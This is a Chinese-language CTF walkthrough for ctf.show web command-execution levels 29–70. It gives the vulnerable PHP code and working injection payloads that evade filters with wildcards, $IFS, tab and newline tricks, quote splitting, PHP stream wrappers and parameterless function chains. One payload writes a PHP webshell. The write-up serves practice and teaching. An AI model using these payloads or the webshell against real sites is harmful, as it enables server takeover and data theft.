1. 程式人生 > 其它 >ctf show--web 入門 命令執行篇部分題解

ctf show--web 入門 命令執行篇部分題解

技術標籤:ctf

最近和朋友一起入了ctf show的坑,在這裡記錄一下刷題過程以及從大佬那裡學到的姿勢。

1

命令執行

web29(萬用字元)

需要得到flag.php裡的內容,但是flag被過濾了。

這題考察的知識點是萬用字元,這篇部落格有具體的介紹:萬用字元和正則的區別

例如構造: ?c=system('cat f*');

*可以匹配 0 或多個字元?可以匹配任意一個字元

cat f*就可以開啟當前目錄下所有f開頭的檔案

然後檢視原始碼得到flag

web30(反引號執行系統命令)

這題過濾了flag、system、php三個字串,上一題的payload就不適用了。

可以利用反引號執行系統命令,如:

?c=echo `cat f*`;
?c=echo `cat f???????`; 

web31

這題過濾的更多(包括空格):

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

我是想不出有什麼好用的辦法了,參考hint和大佬的部落格,payload1:

?c=highlight_file(next(array_reverse(scandir
(dirname(__FILE__)))));

其中第二個姿勢的解析:
①:print_r(scandir(dirname(__FILE__)));檢視當前目錄下檔案
在這裡插入圖片描述
②:print_r(next(array_reverse(scandir(dirname(__FILE__))))); 找到flag.php
③:highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));最後高亮顯示

payload2:
這裡的姿勢正常一些,都是針對過濾的繞過(師傅們tql)。

cat被過濾時

more:一頁一頁的顯示檔案內容
less:與 more 類似 head:檢視頭幾行
tac:從最後一行開始顯示,可以看出 tac 是cat 的反向顯示
tail:檢視尾幾行
nl:顯示的時候,順便輸出行號
od:以二進位制的方式讀取檔案內容
vi:一種編輯器,這個也可以檢視
vim:一種編輯器,這個也可以檢視
sort:可以檢視
uniq:可以檢視 file -f:報錯出具體內容 grep
1、在當前目錄中,查詢字尾有 file 字樣的檔案中包含 test 字串的檔案,並打印出該字串的行。此時,可以使用如下命令: grep test *file strings

空格被過濾時

1.	${IFS}替換
2.	$IFS$1替換
3.	${IFS替換
4.	%20替換
5.	<<>重定向符替換
6.	%09替換

7.  拼接(很強):?ip=1;a=g;cat$IFS$1fla$a.php;   (flag被過濾時)

大佬們的姿勢:

?c=eval($_GET[1]);&1=system('nl flag.php');
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=echo(`nl%09fl[abc]*`);
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等價於system()
?c=echo`strings%09f*`;
?c=echo`strings\$IFS\$9f*`必須加轉義字元
?c=echo(`more%09f*`);

web32

在31題的基礎上又過濾了

` ; echo (

分號可以用?>繞過,括號用""繞過,再配合$和偽協議的姿勢:

?c=include"$_GET[1]"?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

試了一下發現不帶這個雙引號也行:

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

執行後得到一串base64密文,解碼得到flag

web33-36

33題把"也過濾了
34題又多過濾了一個:
35題又過濾了=<
可以一把梭:

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

36題多過濾了/和數字,把1換成一個字母就行。

web37(data偽協議)

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

過濾了flag,還進行了include檔案包含,使用data偽協議。

1,寫入一句話:

?c=data:text/plain,<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['hack']);?>")?>

然後蟻劍連線即可(https://url/shell.php)
2,讀取

?c=data:text/plain,<?php system('cat f*')?> #過濾了flag,這樣構造相當於直接讀取了flag.php

web38

這題把flag、file、php都過濾了,需要在37的姿勢上變化一下。

(base64加密後)

data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

檢視原始碼得到flag

web39

過濾了flag,限制了字尾(.php)
姿勢和37一樣

?c=data:text/plain,<?php system('cat f*')?>

web40

好傢伙,直接過濾一堆

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }      
}else{
    highlight_file(__FILE__);
}

可以使用無引數函式進行檔案讀取,payload同31題。

web41(未解出)

web42

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

這題可以直接

?c=ls;
?c=cat flag.php;

群主給的提示是cat flag.php%0a,用%0a讓那後面那串東西無效。

web43

過濾了;cat

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

這題其實姿勢挺多的,被過濾的cat可以用很多其他命令替換,末尾再%0a截斷。

?c=nl flag.php%0a
?c=tac flag.php%0a
?c=more flag.php%0a

web44

在web43的基礎上多過濾了一個flag,只要在之前的payload基礎上使用萬用字元即可。

?c=nl f*%0a
?c=tac f*%0a
?c=more f*%0a

web45

又多過濾了一個空格,參考web31中空格的繞過方法,把空格替換即可。

web46

過濾了;catflag空格數字$*
payload:

?c=nl%09fla?????%0a

web47-49

payload

?c=nl%09fla?????%0a

web50

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

%09和萬用字元不好使了,用重定向符<<>替換%09,用"" '' \繞過對flag的限制,也可以用 ||代替%0a(||預設前面前面執行成功就不執行後面)。

?c=nl<>fla''g.php%0a
?c=nl<>fla""g.php%0a
?c=nl<fla''g.php%0a
?c=nl<>fla''g.php||
?c=nl<>fla\g.php%0a

web51

payload同web50

web52

很多替換空格的字元被過濾了,但是$沒有被過濾,所以在web50的基礎上把空格換成$IFS即可

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

web53

少了一些限制,不需要在末尾進行命令分割了。

web54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

正則的過濾更加嚴格了

grep

grep test *file
在當前目錄中,查詢字尾有 file 字樣的檔案中包含 test 字串的檔案,並打印出該字串的行

payload1:

?c=grep${IFS}'{'${IFS}fl???php #查詢含有{的檔案,並打印出包含 { 的這一行

bin目錄

bin為binary的簡寫主要放置一些 系統的必備執行檔例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。

payload2:

/bin/?at${IFS}f???????

web55-56

不會做,參考大佬部落格:
https://blog.csdn.net/qq_46091464/article/details/108513145
https://blog.csdn.net/qq_46091464/article/details/108557067

web57

這題是讓我們在限制條件之下構造36這個數字。

<?php

//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

這裡是學習的Y4大佬的思路,利用$(( ))與整數運算

$(())-------1
$((~37))------36
所以我們只需要保證中間是-37即可,
$((~$(())$(())))---1
所以
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))代表36,即可獲取flag

群主還給了另一種姿勢:

?c=grep${IFS}'fla'${IFS}fla??php

web58-65(繞過disable_functions系列)

從58開始是繞過disable_functions系列

通用payload:

c=echo highlight_file('flag.php');
c=show_source("flag.php");
c=highlight_file("flag.php");

還可以用web31中的payload1裡的姿勢

web66-67

首先掃目錄(web67中print_r被禁了,換成var_dump),發現有flag.txt,然後:

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');

web68-70

show_sourcehighlight_filefile_get_contents等文字顯示的程式碼基本都被禁了,所以換成includerequire這些檔案包含的,payload:

c=include('/flag.txt')
c=require_once('/flag.txt');